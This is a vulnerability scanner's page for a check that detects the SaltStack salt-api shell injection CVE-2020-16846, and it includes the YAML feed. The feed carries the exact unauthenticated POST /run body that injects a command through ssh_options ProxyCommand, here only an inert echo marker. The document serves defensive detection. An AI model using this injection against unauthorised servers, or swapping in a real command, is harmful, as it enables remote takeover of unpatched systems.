SaltStack — 1 vulnerability check

noctis ships 1 vulnerability check for SaltStack, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SaltStack salt-api Unauthenticated Shell Injection / RCE

CVECVE-2020-16846
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/saltstack/CVE-2020-16846.yaml

Detects CVE-2020-16846 by sending an unauthenticated POST /run with client=ssh carrying an inert command-substitution-collapse echo payload, and confirming the contiguous per-run marker is reflected in the JSON response — proving the injected shell command actually executed (SaltStack <= 3002).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /run with a crafted body
  5. Checks run_resp.body for NOCTIS[0-9a-f]{32} → finding QoD 97: salt-api /run (client=ssh) executed the injected shell command and reflected the per-run marker … — unauthenticated RCE confirmed: …

References:

Feed source — tests/vulnerabilities/saltstack/CVE-2020-16846.yaml
# SaltStack salt-api unauthenticated shell injection / RCE — CVE-2020-16846
#
# salt-api's /run endpoint with client=ssh builds a salt-ssh command line from
# attacker-controlled fields without sanitisation. Crafted SSH arguments (e.g. a
# ProxyCommand / roster option) are passed to a shell, so an unauthenticated
# attacker reaches arbitrary command execution and the output is returned in the
# JSON response (<= 3002).
#
# Detection method (reflected command output, command-substitution collapse):
#   A `script` step mints a per-run token `tok = rand_hex(16)` (32 lowercase hex)
#   and `marker = "NOCTIS" + tok`. The injected command is an INERT echo whose two
#   halves are separated by an empty command substitution `$()`:
#       echo NOCTIS$()<tok>
#   A real shell collapses the empty `$()` to nothing and prints the contiguous
#   `NOCTIS<tok>` (== marker). We confirm RCE only when the response contains the
#   contiguous per-run marker (gated by `stridx(resp.body, marker) >= 0`) AND the
#   `NOCTIS[0-9a-f]{32}` shape — so a server that merely reflects the payload
#   verbatim (`NOCTIS$()<tok>`, the `$()` intact) or returns a constant marker
#   (per-run token mismatch) does NOT match. QoD 97, category rce.
#
# Cyber-safety: the probe is an inert `echo` only — no real command, SSH, file or
# network side effect is requested; the mock is a pure string/regex simulation.
uid: ca149131-a2e8-4828-b892-eba886aa3acb
name: "SaltStack salt-api Unauthenticated Shell Injection / RCE (CVE-2020-16846)"
description: |
  Detects CVE-2020-16846 by sending an unauthenticated POST /run with client=ssh
  carrying an inert command-substitution-collapse echo payload, and confirming the
  contiguous per-run marker is reflected in the JSON response — proving the injected
  shell command actually executed (SaltStack <= 3002).
cves: [CVE-2020-16846]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [saltstack, salt-api, salt-ssh, rce, shell-injection, kev, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-16846"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-16846.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2020-16846"

steps:
  # Per-run token + marker. rand_hex(16) => 32 lowercase hex chars.
  - id: mint-token
    action: script
    code: 'rand_hex(16)'
    store_as: tok

  - id: build-marker
    action: script
    code: '"NOCTIS" + tok'
    store_as: marker

  # Inert collapse payload: the empty $() separates the two halves. A real shell
  # prints the contiguous marker; a verbatim reflection keeps the $() and fails.
  - id: build-payload
    action: script
    code: '"echo NOCTIS$()" + tok'
    store_as: injected

  - id: run
    action: http_request
    method: POST
    path: /run
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: application/json
    body: '{"client":"ssh","tgt":"*","fun":"cmd.run","arg":["id"],"eauth":"auto","roster":"flat","ssh_priv":"/tmp/x","ssh_options":["ProxyCommand={{injected}}"]}'
    store_as: run_resp

  - id: detect
    action: match
    source: run_resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "run_resp.status == 200 && stridx(run_resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "salt-api /run (client=ssh) executed the injected shell command and reflected the per-run marker {{marker}} — unauthenticated RCE confirmed: {{run_resp.body}}"
      stop: true

View these feeds on GitHub